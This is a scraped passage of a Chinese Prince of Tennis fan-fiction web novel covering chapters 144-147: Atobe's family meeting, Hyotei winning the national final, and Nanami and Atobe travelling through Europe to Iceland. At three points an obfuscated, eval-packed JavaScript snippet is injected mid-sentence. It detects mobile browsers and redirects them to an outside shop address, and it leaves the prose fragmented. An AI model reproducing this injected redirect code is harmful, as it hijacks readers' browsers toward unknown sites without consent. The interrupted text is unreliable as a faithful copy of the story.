l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13444955|132092||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着一身米格西服的优雅老人,此刻正对着迹部景吾吹胡子瞪眼。 所以,原来景吾的口癖是隔代遗传吗......七海暗自偷笑着,紧张感顿时散去许多。 “啊恩。二阶堂,跟本大爷来这边坐。”迹部景吾拉着她的手,不由分说地将她带到沙发前坐下,伴手礼则由女仆们提上带走。 “小七海,父亲母亲可是好奇你很久了呢。”迹部瑛子笑得促狭。 “七海,你和景吾的那个俱乐部,大胆去做。”之前一直保持沉默的迹部爸爸开口了。“不用管父亲的意见。” “你小子说什么呢!谁说我不同意了,啊恩?”迹部爷爷黑脸。 他承认,一开始他是觉得这个企划来得随意且不成熟,不过是景吾为了讨那个女孩子欢心一时冲动,也该让他吃个教训,才和他签下对赌协议。 不过嘛,后来了解了这个女孩子的事迹,在毫无背景的情况下,如此年轻就已达成如此多的成就,人品心性又不错,他是欣赏的。 迹部家不需要名门淑女撑门面,对于景吾这个孩子来说,能有人理解他,与他携手并进最好不过。 而七海,她再次在心中惊呆。谁能告诉她,这个父子吵架的场面是怎么回事?七海侧过头,发现迹部景吾也是一脸无奈。 迹部瑛子冷声开口:“阿娜达,父亲,在小七海面前吵什么?”两个男人立时噤声。 “总之,小七海,你和景吾在一起,我们都是支持的。”转过头来,迹部瑛子骤然变得笑容满面,看得七海一愣一愣。 “啊恩,就算你们不同意,本大爷也只会和她在一起。” “七海,景吾,你们打算什么时候结婚呐?” 迹部奶奶的问题又是一道雷击,七海完全被这过快的进展给推得措手不及,正欲开口礼貌推脱—— “结婚的事还太早了,祖母,别给她压力。”迹部景吾柔声道。 “哎呀呀,是我多嘴了。不问了,你们小情侣慢慢来。”坐在迹部爷爷身边,上了年纪却难掩气质的老妇人捂着嘴轻笑起来。 “所以,你们把我们喊来就是为了这点事,啊恩?”迹部景吾又皱起眉。 “谁让你一直把人藏你那儿,都藏了快三年了,还没藏够?”老人佯怒。 他早就知道自家孙子让这个女孩子住进那间公寓的事,最开始他还以为是这个女孩主动提出,后来得知内情,他倒是对这个孙子有几分刮目相看。 近水楼台先得月的计策,用得不错。他可是知道的,除了景吾还有不少候补者虎视眈眈。 想到这里,老人又颇为自得地捋了捋胡须,还得是他教得好。 余下的时间,迹部家的长辈们又简单地问了些十分日常的话题。七海一一礼貌作答,只是不知道为什么,身旁少年的表情还是有点臭。 “问得差不多了吧。” “祖父祖母,父亲母亲,既然没什么事,我们就先走了。” “二阶堂,跟本大爷走。”迹部景吾直接无视了屋内四位长辈揶揄的表情,面无表情地拉起少女的手就带着她往门口走去。 “景吾,这样不好吧。”七海震惊,被他大力牵着根本无法挣脱,只能不住地转头看向身后,向几位长辈投过去抱歉的眼神。 “小七海,没事的,你跟着景吾去吧。” “七海,下次你可以自己过来。” “景吾,你这个称呼怎么回事,啊恩?” ...... 直到坐上了前往公寓的轿车,七海才从刚才短暂却与她设想的截然不同的场景里收回思绪。 “景吾,你的家人,和我想得好不一样。”她坦诚道。 “他们其实人都不错。”只不过有时候会有些恶趣味。 “嗯,我看得出来。”七海粲然一笑,随即想起了走之前听到的那个问题。这个问题,她也一直有些好奇,只不过习惯了,就一直没问。 “说起来,景吾,为什么你要喊我的姓而不是名字?” “呵,那两个人都喊你名字,本大爷自然要和他们不同。”想到那两个人,迹部景吾的脸色稍微不爽了一点。 这个理由,意料之外,却在情理之中。七海没忍住轻笑出声,这个人连名字的醋也要吃呐。 “但是,我的朋友们也有喊我姓的。” “景吾,我其实有小名,过去只有家人会这么喊。你要喊我的小名吗?”她歪了歪头。 “是什么?” “小七。” “好,以后私下本大爷就喊你小七。”他不想外人知道她的小名,这是独属于家人的称呼,他,迟早也会成为她的家人。 她很快就知道了以后是什么时候。 耳畔是他一声声滚烫缱绻的“小七”,只让她觉得怀念又安定,甘心溺死于他烈火烹油的温柔中。 145.第 145 章 2005年8月21日,日曜日,天气晴。 Arena之森公园,主赛场。 高中男子网球全国大赛决胜赛最后一场单打一即将开始,全场座无虚席。 看台席上人头攒动,置身其中,便可听见大差不差的讨论声从四面八方传来。 “你说这次决胜赛冠军会是立海大还是冰帝啊?” “果然是立海大吧,虽然幸村君去打职网了,但是真田君也不可小觑呢。” “可是冰帝的那个迹部景吾也回来了,而且,指导冰帝的还是那个二阶堂教练。” “这样啊,这么说的话,确实是胜负难料。” 七海坐在冰帝的教练席,精神力辐射至全场,轻易便将所有讨论声收入囊中。 昨日,在女网部的全力以赴下,青学女网部终于以三胜两败的成绩打败了立海大,夺得冠军。当晚大家便相约一起去河村寿司店大肆庆祝,撑的撑,醉的醉,好不快活。 七海却在最后宣布了一个消息——接下来的一年她将把所有的精力放在俱乐部建设揽才以及日本职网协会上,青学这边的课大概很少来上了。 她早已找校委会商定过,以后只返校参加期末试验拿到毕业证书便罢。 本来以她的成绩足以被推荐免试进入不错的日本大学,不过,她已经决定了一年后要和迹部景吾一起去英国。 他正式转为日本职网的职业选手,参加欧洲的公开赛攒积分,边在英国处理家族商业事务。 她边读大学边工作,进行第一梯队四国职网顾问的工作,也方便联络来温网还有法网打比赛的日本队少年们。 得知这一消息的少女们又是哭作一团,喝到最后几乎人人烂醉如泥,被迹部景吾派人送回了家,再将她接回公寓。 而今日,在经历了—— 双打二:向日忍足组合 VS 丸井胡狼组合,冰帝凭借针对性破解丸井防守的斜位打法,以7-5的比分胜出。 双打一:宍户凤组合 VS 柳生仁王组合,仁王雅治不再使用幻影,与他相关的数据为0,特殊的网球打法配合柳生的新版镭射光束,以6-4的比分胜出。 单打三:芥川慈郎VS切原赤也,切原赤也将天使与恶魔两股力量在赛场上运用自如,最终,立海大以7-6的比分胜出。 单打二:日吉若VS柳莲二,日吉若的武士发球再一次进化,冰帝以6-4成绩胜出。 这四场比赛后,终于迎来了最后一场单打一,立海大皇帝与冰帝帝王之间的终极战役。 “接下来进行决胜赛,立海大附属中学对冰帝学园的比赛。” “第五场比赛,第一单打,立海大附属真田对冰帝学园迹部!” “一局决胜负,立海大附属,真田发球!” 不知何时,观众席上的讨论声渐弱,赛场边的冰帝call却逐渐声势浩大,一阵接一阵,从底部中心不断卷向赛场顶棚的高处。 “冰帝!冰帝!迹部!迹部!” “胜者是冰帝,胜者是迹部!” “胜者是冰帝,胜者是迹部!” 迹部景吾正欲走上赛场,脑海中却回闪过他曾预见的属于他们的未来场景。那画面中,她似乎穿着他的外套。 他毫不犹豫地回头。 “二阶堂,这件外套你穿好。”他不由分说地将外套披在她的身上。 “诶?好。”七海顺从地穿上。 少年气势昂扬地走向赛场,随着一声响指,全场一片寂静—— “胜者是,本大爷!” 迹部景吾,带领冰帝赢一次吧。 为了过去所遭受的一切挫折,为了过去品尝过的所有遗憾,站在高峰实现你的梦想吧。然后,迈向一座又一座高峰,走向属于你的,属于帝王的未来。 你分明拥有着在千沟万壑中绝地反击的意志力,分明拥有着挣脱层层桎梏为自己搏得自由的决心,你和冰帝也值得一次胜利。 七海看着赛场上那道竭尽全力追击小球的身影,在心中不停默念、祈祷着。 “Game 真田,5-4” “Game 迹部,5-5” “12-12” “64-64” “139-139” “245-245” 比赛毫不意外地进入了抢七局,真田弦一郎的黑龙五重斩与迹部景吾的绝对零度的世界频出,两人的体力和精神力都已透支,被消耗到了极限,随时有可能倒下。 黄昏的余晖打在赛场上的两位少年身上,他们的身影在暖橙色的夕阳下熠熠生辉,连脸上身上的汗水也被夕阳映照,透出琥珀色的光芒。 球拍与球相撞的脆响,一声,又一声。 七海又回想起了全国大赛,冰帝VS青学第一单打的那场夕阳,即使失去意识也要君临天下的那道身影。或许早在那一刻,她就已经心动了。 那天的赛场上,以球网为界线划分出氛围迥异的两边。 冰帝的少年们低垂着头,神色晦暗不明。 放弃很容易,接受失败很容易,释怀却很难。而正是不甘、苦痛和永不服输的精神,支撑着这些少年们一次次为了胜利而付出。 不是无法接受落幕,只是他们,还未曾站上过最高峰,果然,还是不甘心呐。 竞技体育从不缺遗憾,可有一个人,有一群人却总是遗憾,今天,不要再让他和他们遗憾了。 “真田,本大爷今天必须赢!” 他一次次挥拍,即使浑身关节已经传来阵阵刺痛。 “有一个笨蛋,为了本大爷的遗憾而落泪!” 因为有人替他遗憾,他的遗憾也得以拨云见日。 “所以,我今天必须证明给她看!” 也证明给他们看,更证明给自己看。 “本大爷,不会再在她面前输掉比赛!” 迎接属于冰帝帝王应得的光辉时刻吧,迹部景吾。 “迈向破灭的——圆舞曲!” 最后一球,眼中的一幕似乎按下了减速键,每一个动作,都变得极其缓慢。 那个少年,他高高跳起,缓缓挥拍,眼神中写满了坚决,那是她见过的,最闪耀最明亮的一双眼眸。 小球缓缓飞过球网,与对场少年的球拍相接,杂落。 再下一个球,他再次跳至赛场高处,沐浴在夕阳下,脸上的每一滴汗水都在发光,他是那么耀眼,浑身散发出的光芒远胜天幕上的那团日光。 挥拍,黄色小球飞向对场,落地,弹起—— 分明时间只淌过了一瞬,所有的声音,动作,感官都在这一瞬中停滞。 直到—— “Game end match,冰帝学园迹部,7-6!” “冰帝学园对立海大附属中学的比赛结果为,3胜2败,高等部男子网球全国大赛的最终优胜者是——! “冰帝学园!!!!!” “冰帝!冰帝!迹部!迹部!” “冰帝!冰帝!迹部 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13445320|132092||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !迹部!” 赛场上,送给他们的欢呼如浪潮般一阵接一阵,一刻也不曾停歇。 选手席边,不知何时,冰帝的少年们也已哭成一片。 忍足侑士摘下了眼镜,向日岳人和芥川慈郎嚎啕大哭,日吉若眼含热泪地笑着,宍户亮嘴上嫌弃着泪流不止的凤长太郎太逊,眼眶却泛着红,桦地崇弘与滝萩之介默默抹着眼角的泪。 暖橙色的阳光轻柔地落在网球场的地面上,仿佛在用最后的力量抚慰这片挥洒了汗水和激情的土地。 尘埃粒子在夕阳的照耀下闪烁着微小的光点,迹部景吾抬头望向天空,夕阳的余晖为他汗水遍布的面庞镀上了一层温润的金光。 他是站在球场中心永不坠落的太阳。 “怎么样,二阶堂,本大爷遵守承诺了吧,啊恩?”迹部景吾轻笑着,望向站在裁判席前,早已泪流满面却难掩脸上笑意的少女。 她哭得好难看,可他却爱极了这样的她。 她向他飞奔而去,他伸出手接住她,扑个满怀。 七海抬头凝望着他,破涕而笑: “迹部景吾。” “以后所有的未来,我也会向你走来。” 迹部景吾笑得张扬:“啊恩,本大爷知道。”他们会向彼此奔赴而去,共同走向属于他们的未来。 ------------------------- 夜晚,冰帝的少年们和青学的少女们受邀前往迹部宅举行庆祝派对,又是一场宾主尽欢的盛宴。 待得人流散去,两人聊起了接下来的规划。 “景吾,我得先回欧洲一趟。”回来快半年,她一直都只在线上联络,她这个很明显不够称职的顾问是时候回欧洲去了。 迹部景吾蹙眉沉默了几秒。他哪能不知道,德国有手冢,法国有幸村,西班牙有越前龙雅,只有瑞士看起来还算安全。 “二阶堂,本大爷陪你一起去。”他点了点泪痣干脆道。 “我就猜到你会这么说。”七海扶额,她早已发现了,迹部景吾这个人随时可以化身醋缸子。她也清楚,只要去了欧洲,就会碰到那几个人。 她理解他的在意,只是工作是工作,她没必要也不会把工作与私人感情挂钩。 “景吾,就算我答应你,那你以什么身份陪我去呢?” “顾问助理。”他的回答似乎是早就准备好的,没有犹豫一秒。 七海噗嗤一笑:“景吾,你老实说,你是不是早就想过了这件事。” “但是,我是去工作的,总不能天天让你像个保镖似的杵在我身后。这样好吗,我每天一结束工作就回来,你就在酒店里处理你的事,乖乖等我。”她笑眯眯地安抚道。 迹部大概也知道之前的主意并不那么切实际,轻哼一声,转而道:“少和手冢、幸村还有越前龙雅这几个人说话,单独相处。” 七海回答得很快:“越前君已经离开西班牙队了。国光和精市现在都有自己的团队,不太会单独相处的。” “我每天接送你。” “好。” “工作结束之后,陪我去冰岛。”最后一句话主题一转。 七海愣了愣,“去冰岛?” 她曾经还想着要不要去欧洲顺便游览一下那几个没去过的国家,其中确实包括冰岛,还有冰岛的极光,听说,那里是世界的尽头,美得不似人间。 “本大爷带你去追极光。”那是他早就决定下来要带喜欢的人去的地方。 “好。” 146.第 146 章 这次的出行顺序有所改变,七海和迹部景吾两人按照纬度高低,先去了西班牙,接下来才是瑞士、法国和德国,最后,冰岛。 西班牙的夏季炽热奔放,刺目的阳光照射在绿油油的柑橘树上,树冠上挂满了硕大的金橙色果实,香气在夏日的微风中飘散开来。 闻着这股橙子清香,她的脑海中轻轻地掠过了一个人,也只是,如一缕烟尘般轻轻掠过。 “周助!”迹海两人还没抵达西班牙皇家网球协会门口,就已经望到了不远处的熟悉身影。 轿车停靠在门口,七海忙不迭推开车门,向棕发少年跑去,接着是一个饱含思念与重逢喜悦的拥抱。 “周助,在西班牙的这一年多怎么样?还习惯吗?还有,恭喜你在之前的挑战赛取得冠军呀!”七海一口气抛出了一堆问题,翘起的嘴角越扬越高。 眼前的棕发少年除了身高很明显高了一截,似乎变化不大,依旧是笑眯眯的温和面容。 西班牙队的华丽制服在他身上毫无违和感,衬得他像一位优雅华贵的王子。 “七海,我很好,也很想你。不过,我们似乎该松开了,不然有人要吃醋了。”不二周助笑弯了眉。 他可是看到了,向这边大踏步走过来的迹部,脸色可算不得和善。 “啊,嗯。”七海羞赧道,松开了手。他倒是早知道自己和迹部景吾在一起的事了。 “周助,在西班牙还适应吗?你拍了好多好美的照片呐。” 特内里费,乌特,奥斯纳布吕克......她看到社媒上,他在比赛期间去了许多欧洲的观星点,与许许多多璀璨的星空相遇,留影。 不二答:“西班牙是一个很美的地方,平时不打比赛时我也会去附近的国家转一转。” “还有,现在选择的路,周助......你真的愿意吗?”七海犹豫了几秒,还是问出口。 成为职业选手,并不是一条多么自由的路,她知道,眼前的人并不是像她像他那样,愿意为了一些责任或是高远的目标而困住自己的人。她有时也会犹豫,自己是否干涉过多。 “七海,我并没有被我们之间的约定束缚。”他揉了揉她的头,“现在的生活也是一种新的体验,我为体验不同而活着,所以这样的生活,我很满足。” “周助,如果你以后选择去当旅拍摄影师,或者去了NASA之类的,我也不会生气的,我只希望......你能自由选择,幸福、快乐。”说着说着,她却难受起来。 不二周助笑得无奈:“七海,待会儿迹部要以为我欺负你了呐。” “我很快乐,七海。看到你也幸福,我就放心了。” “那就好,我只是突然有点感慨......梅达诺雷还好应付吗?塞达乖吗?”她还是有许多问题。 “梅达诺雷很有趣呢,小塞达也很可爱。” 听起来他完全能够应付西班牙队的这些少年了,七海松了口气。 现如今,不二周助、梅达诺雷和马尔斯都成了职业选手,听景吾说罗密费尔倒是不打算走职业道路,只把网球当爱好培养。 “哟,这不是小七海吗~” 远处传来了中年男子的调侃声,七海侧目望去,果然是越前南次郎。 一身花衬衫和沙滩短裤,纽扣也不扣,活脱脱一个随时打算去搭讪美女的浪荡子。 “南次郎前辈,你早知道我要来,不要装出一副惊讶的样子好不好。”七海黑线。 越前南次郎挑了挑眉,将嘴中的牙签取下,笑容满面:“你推荐来的不二君真的很不错哦,比我家那两个小子有趣多了。” “还要感谢南次郎前辈您的指导。”七海收起了无语的表情,感激道。 “还有保留西班牙队顾问位置的事,还没好好感谢您。” “小七海,不用和我这么客气,当初还要谢谢你女人的直觉。” 七海叹了口气:“好在现在已经完全康复了。南次郎前辈,您真的照亮了很多少年前行的路,要健康长寿呀。” 武士南次郎的传奇,二刀流的蓬勃发展,都是因眼前这个不修边幅的男人而起。 南次郎撅嘴:“哎哟哟,还是我们小七海说的话暖心,不像菜菜子,一天到晚念叨我。” “菜菜子姐姐也是为了您好。不闲聊啦,周助,南次郎前辈,我们去看一下大家的训练情况吧?” “南次郎前辈,我还想请您帮我个忙。”如果能够得到这位传奇选手的声援,她想做的事或将事半功倍。 七海转过头:“景吾,我很快回来。” 似是意识到这样的安抚不够,她站到他面前踮起脚,在他的唇上印下一个浅吻。 “啊恩,本大爷等你工作结束。”迹部景吾因为这一个吻,脸色立刻由阴转晴。 ...... 在西班牙共待了一周,帮助调整了一下塞达的精神力训练方向,陪着已经成为职业选手的几位少年打了几场比赛,进行一番指导,迹海两人便出发前往瑞士。 瑞士倒是稍稍出了点意外。 她没想到兰比尔居然对她有好感,还邀请她共进晚餐。七海抱歉地拒绝并说明了自己目前并非单身,好在他很快释然了。 其余一切都顺利,欧诺基伊哈教练的身体也还硬朗,只是现在他已经不陪少年们四处奔波了。 七海紧赶慢赶地修改了一整份教练员的培训方案又和正选们打了比赛,还顺带参加了为阿玛迪斯挑选经纪人的面试,每天回到酒店后依旧工作到很晚。 迹部景吾心疼她睡眠不足,干脆只要接近睡觉时间就拉着她身体力行,直到她没有力气再继续工作,这才抱着她去洗澡,再拢着她沉沉睡去。 终于,他们重返法国。 【“只是可惜了,难得来一次法国,那么多景点都还没逛过。”七海侧头,望着窗外越来越远的埃菲尔铁塔和塞纳河。 迹部景吾的声音柔和了几分:“是我的问题,以后我会再带你来一次。”】 那次离开法国时,她没敢正回头看他的眼神,她无法回报。如今,他们终于得以在她工作闲暇之时好好重游法国。 然而,直到她抵达了法国职网协会才得知,幸村精市已经奔赴日本去参加9月的ATP250巡回赛了。 看来他也急着攒积分,提升世界排名,以获得参加四大满贯赛事的资格。 之前联络时......并未提到这件如此重要的事,他大约是不想见她了。 “七海,精市他......”加缪欲言又止。不得则不见,这是他的选择。 七海面色不改:“没事的,他不在,但是平时的训练视频也都还在,不影响我工作。” “除此之外,加缪,我有事需要你帮忙。” 法网这边,加缪以及特里斯坦和迪莫迪这对风骚帅哥双打也成功转入职业。 多隆出于对日本文化的热爱和对弦一郎师父的思念,这次和幸村精市一同去了日本,其余人则继续接受着训练,参加ITF的青少年组比赛,等待转入职业的机会。 结束法国的工作,迹海两人抽出了两天时间游览巴黎。 坐在夜晚的莱茵河畔被晚风吹拂着,七海终于理解了迹部景吾当初说的那句话——巴黎的气质,需要实地体会。 似乎时光的流速在这里都变得缓慢,巴黎算不上轻佻亦不甚高尚,却能让人听到生活的脉搏鼓动声,浪漫,松弛,鲜活。 最后一站,德国。 德国队同样并不是全员到齐。 手冢国光也奔赴海外,为了早日获得资格参加四大满贯赛事,去ATP巡回赛积攒积分。 其余人倒是都还在德国。 QP和俾斯麦均已转为职业选手,施耐德和贝尔蒂这对职业双打刚结束美网的男子双打正赛,打入了前四强,而博格也在一个月前的辛辛那提ATP1000大师赛取得了冠军。 结束工作即将离开协会的那天,她提出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13457785|132092||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一个所有人都始料未及的请求。 “博格,我想和你打一场比赛。” “七海,怎么这么突然?”塞弗里德傻眼。 七海没有理会塞弗里德在边上吐出的一堆疑问,视线只紧盯着眼前的光头少年。 博格面色沉肃,不过,他一向是这个表情。“二阶堂教练,我想请教一下理由。” “博格,我会用不让我们两个都受伤的打法打赢你。” “然后,我会抽时间把这段比赛视频传到网上,希望你能同意。” 那双如死水般平静的浅棕色瞳孔中罕见地溢出一丝惊愕,随即,又回归平静。 雷特鲁倒是猜出了她的意图。“博格,这场比赛,我不会拦着。” “......好,二阶堂教练。” 比赛就这么看似随意地开始了。 “博格的眼神,好认真......” “过了一年多,博格的实力可是再上了一层台阶啊,这场比赛,真的没关系吗?” 赛场边,德国队的少年们精神高度紧张,他们从未想过会迎来这样一场比赛。 博格如今的排名已经进入了世界前列,而站在他对面的少女......即使他们十分清楚这位天才顾问的实力并不弱,但能否打败博格恐怕是个未知数。 “博格,你的技能是无法对我的精神力造成任何影响的。”七海屈身,一下下地颠着球。 她漫不经心说出的话,却暗含着可怕的信息。 “所以,使尽浑身解数吧。” ...... “贝尔蒂,你打我一巴掌。”塞弗里德像根棍子似的杵在原地。 “塞弗里德,你先保证不还手。”贝尔蒂斜眼。 塞弗里德不死心,又问了另一个人。“QP,七海这是......赢了吗?” “......是。” 他们看得很清楚,方才的比赛中,分明博格已经使出了循环的洗礼以及进化版至尊的领域,可是对场的人,依旧把飞过来的每一个球当做普通的一击,一次又一次看似普通地回击过去。 可那样平凡朴素的回击,偏偏每次都能够打到十分刁钻的地方,完全不受领域的影响。 如果不是博格的面上和头顶已经冒出了大颗大颗的汗珠,恐怕,任谁看了这场比赛只会以为是博格放水了。 “不依靠异次元的力量,不伤人伤己也能够取得比赛胜利,这是我选择的路。”七海抹了一把额头的汗水,平静道。 “雷特鲁教练,我要打败所有人,成为世界第一。让全世界都效仿我的网球打法,你觉得,这个主意如何?” 再次转过身时,她的脸上已经挂上了笑容。 “七海,你的想法很好,只是......”雷特鲁在一瞬的诧异后皱起了眉头。 她大概知道他要说什么。改变网球选手的想法非一朝一夕。在混沌的那一年中,她构思了无数个办法。 甚至于“直接在大型比赛时悄无声息地封印两边选手的技能,逼迫他们不得不使用真实的网球打法。”这样的想法,也曾经冒出来过。 时间一久,或许能让他们放弃那样危险的打法吧。 但是,剥夺他人,终究不如让那些少年们主动选择另一条道。 她也曾追随过一个人,被那个人的一句话影响至今,他曾是照亮了她的网球之路的烛火。 现在,她也想成为那样的烛火,灯塔,路标,照亮她身后那些少年们的网球之路。 “雷特鲁教练,我知道彻底改变或许要很久,没有关系,我还有很多时间。” “博格,谢谢你今天愿意和我打这场比赛。” 博格:“二阶堂教练,如果有需要我帮忙的地方,可以联系我。” 七海感激地点了点头。走出协会大门时,迹部景吾已经在街边捧着鲜花等着她。 她加快速度向他跑去。 “景吾,我们去冰岛吧!” 147.第 147 章 英国,伦敦。 迹海两人决定从英国出发前往冰岛,这几天先在英国采购出行所需物资,顺便见一见旧友。 “罗密费尔,好久不见!”接驳轿车刚停靠在伊顿公学门外的街道边,七海就按下车窗,向着不远处穿着英伦风制服贵公子气质十足的金发少年招了招手。 “七海,景吾,你们终于来了。”罗密欧微微一笑,在司机为他打开车门后坐上了迹部家的加长轿车,一路驶往迹部家城堡。 罗密欧:“景吾,还要去接雷欧吗?” “不必了,他大概早就到了。”迹部景吾轻哼一声。Leon那家伙说着什么务必要见一见未来弟妹,一下课就赶去了他家,总觉得居心不良。 “看来他很好奇呢。” “好奇什么?”七海插了一嘴。 “好奇你呀,七海。” 迹部景吾说了句莫名其妙的话:“二阶堂,到时候雷欧那家伙和你说什么你都别信。”他小时候一大半的黑历史都被他攥在手里。 少女挑了挑眉:“那我先听听他说什么吧。”越是这么说她越好奇好不好。 窗外熟悉的景色快速倒掠而过,这次抵达迹部城堡,景色却有些不同。 城堡外的草坪园丁在修剪着花草,管家萨基尔早就候在大门口,比起两年前来时的清冷荒芜,终于有了点人气。 “景吾,这里现在有人住了?”她好像问了个笨问题。 “啊恩,来英国留学之后这里就恢复运转了,现在家里只有管家和仆人。”他等在车门口,待她一下车便紧紧牵住了她的手将五指扣入指缝,罗密欧在一旁瞥见这个细节笑得暧昧。 不知道想起了什么,迹部景吾的脸上挂上了有几分不怀好意的笑,“二阶堂,上次,你说老虎不在家,猴子称霸王。” “嗯,怎么了吗?” “呵。”他但笑不语,七海满脑门问号,怎么这么神神秘秘的。 直到—— “那该不会是一只老虎吧?!”七海攥紧了迹部景吾的手,心脏狂跳不止要飞出胸口了。 趴在迹部家客厅的壁炉边的那只巨型动物,或许,大概,也许,是一只老虎?! “是标本吧,景吾,没想到你家居然还喜欢收藏动物标......啊啊啊啊,是活的啊!”她不敢大叫出声怕引起老虎的注意,只敢用气声呐喊。 “是啊,七海,你没见到过吗,这是景吾母亲养的老虎。”罗密欧意外道。 “没有......所以上次我说什么老虎不在家,居然歪打正着。” “二阶堂,别怕。Lion,过来。”迹部景吾冲着趴在地上的凶猛生物招了招手——它居然就这么爬起来,慢悠悠地晃着尾巴向这边走来了。 “景吾,你家的老虎,居然叫Lion......?”将本能的恐惧强压下,七海转而无语道。该不会还有只狮子叫tiger吧。 “啊恩。Lion,来见见本大爷的女人。” “景吾,你说这话他又听不懂......我对他来说很陌生吧,我们可以慢慢熟悉。”现在的进展太快了! 迹部景吾轻笑一声,“二阶堂,你身上都是本大爷的气味,你自己还不清楚吗?Lion很快会熟悉你的。” 七海瞬间涨红了脸,迹部景吾这个混蛋简直不知羞耻,不要当着罗密费尔的面说这种话啊!她现在根本不敢看边上罗密欧的表情。 迹部侧过头,发现身边的少女脸红成那样,很快意识到她想歪了,附到她耳边,低声道:“二阶堂,你该不会以为只有做那件事才会染上我的气味吧,啊恩?” “还是,你迫不及待想染上本大爷的气味了?”他笑得肆意。 七海选择伸手揪了一下他的腰,用凶恶的眼神封住他的嘴。 几句话的功夫,Lion已经走到了离他们仅有一米远的地方,这下一切旖旎都烟消云散了。七海下意识咽了口口水,完全不敢做出伸手之类的动作。 “Lion,你吓到她了,乖一点,趴下,啊恩?”虎纹大猫居然就这么乖顺地在他们面前趴下了。 “景吾,真的可以摸不会死吗?” 她其实是有点想摸的,这只老虎看起来被照顾得很好,毛色发亮,厚且密,手感很不错的样子,只是,小命要紧。 迹部景吾干脆走到趴下的Lion身边,直接弯腰将两人紧扣的手轻放与后颈的皮毛之上,七海瞬间汗毛直立。 不过,几秒后,手下的大猫也毫无反应,似乎......真的没事。 他缓缓松开了扣着她的手,她彻底撸上了大猫的毛,并不似她想象的那样柔软却依然很舒服。 “Lion的手感和我想象的好不一样。”七海星星眼。 “哟,景吾,罗密费尔。景吾,莫非你身边这位可爱的小姐就是七海?”身后传来一道陌生的少年声音。 七海站起转过身,站在门口的是一位浅棕色短发眼眸湛蓝笑意张扬的英俊少年。 “那你一定就是景吾的朋友,雷欧了吧?”她勾起唇。 “叫我雷欧就好。久仰大名,七海,今晚我们必须好好聊一聊,我手上可是有很多景吾的黑料哦~” 雷欧边说边快步走来,十分熟稔地蹲下身挠了两下Lion的下巴。 迹部景吾黑脸:“雷欧,不该说的话别说。Shut your mouth up.” 然而,这世上毕竟也有帝王无法完全掌控的人与事,一顿晚饭下来,七海就从这位迹部景吾的竹马口中得知了许多和他有关的童年糗事。 比如,小时候这两人参加派对总是被许多女孩子包围拥簇着,然而那时候的迹部景吾还完全没有掌握和女孩子相处的方式,或着说应付的耐心,最后被追得灰头土脸,导致他对全体女生都产生了先入为主的反面印象。 七海目瞪口呆,所以这就是他一路读私立男校上来的原因吗。 这么一想,回到日本,在冰帝突然又变回了被一堆女生环绕,难怪,上次去他的学生会会长办公室,他对那个冰帝的迹部后援团团长的态度也只是平淡。 是夜。 “景吾,我有事想问你。”七海扒开了枕边人不安分的手,平复了一下呼吸。 “啊恩,你问。” “既然你对女生的印象都不好,当初你干嘛还送我去医院。” “笨蛋,你都晕在我面前了,本大爷还没冷漠到那种程度。” “那你是什么时候发现自己喜欢上我的。”少女侧过头,笑容揶揄。 迹部景吾侧卧着,右手撑着下巴轻抚着泪痣,面色自若:“这种事,本大爷早忘了。” “真的假的,我不信。” “二阶堂,你非要知道?” “嗯嗯。”七海小鸡啄米似的点了点头。 “在你受伤住院时意识到的。活到现在几次担惊受怕都是因为你,二阶堂,我不会为无关紧要的人害怕。”他平静道。 七海一下子陷入了沉默。她也未能想到,一路走来会遇到如此多的坎坷,好在,都过去了。 “对不起......我现在可珍惜自己的小命了。” “你最好是,二阶堂。”迹部景吾冷哼一声,随即抬起她的下巴,俯身有一下没一下地吮咬着她的唇瓣,像是在惩罚她过去的不自珍。 ...... “小七,染上我的气味。” -------------------------- 十月,已进入适合追极光的时间段。 在伦敦的几日,将前往冰岛所需的物资一同采购完备,下好能够查看极光KP值的应用,定好酒店,他们总算踏上了前往冰岛的飞机。 飞机落地时正值夕阳,下车直奔雷市。 “二阶堂,又发呆想什么呢?”办理完入住手续,两人走出酒店,站在海边,望着大海连着夕阳。 目之所及,冰岛的日落,是海平面上连成一片的橙红,浩渺无边。 与她人生中看过的无数场夕阳又不相同,风景不同,站在她身边的人,也不同,心情,更不同。 “只是觉得,美好来得太多太快,有些不真实。”她眯起了眼,张开双臂,感受着海风拂过面颊和身体。冲锋衣将两人包裹得严严实实,倒是并不觉得冷。 “二阶堂,以后你会习惯的。” “习惯什么?” “习惯美好,习惯本大爷在你身边。” 可恶,干嘛突然说这么动人的情话!七海脸颊一红,不想让身侧人发现自己的羞意,赶忙转换话题。 “景吾,今天的KP值有7,我们今晚就去追极光吧!”酒店十分贴心地提供租车和代驾服务,倒是方便了他们出行。 “啊恩,当然。” 在餐厅随意点了几道羊肉料理和两杯爱尔兰咖啡,饱餐一顿后,伴随着雷克雅未克教堂的钟声,他们开启了追光之旅。 “帮你们把车停在这里可以吗,是我们私藏的一个没什么人知道的点位。这里运气好还能看到火山爆发哦。” “可以的,Takk fyrir!”冰岛语现学现卖。 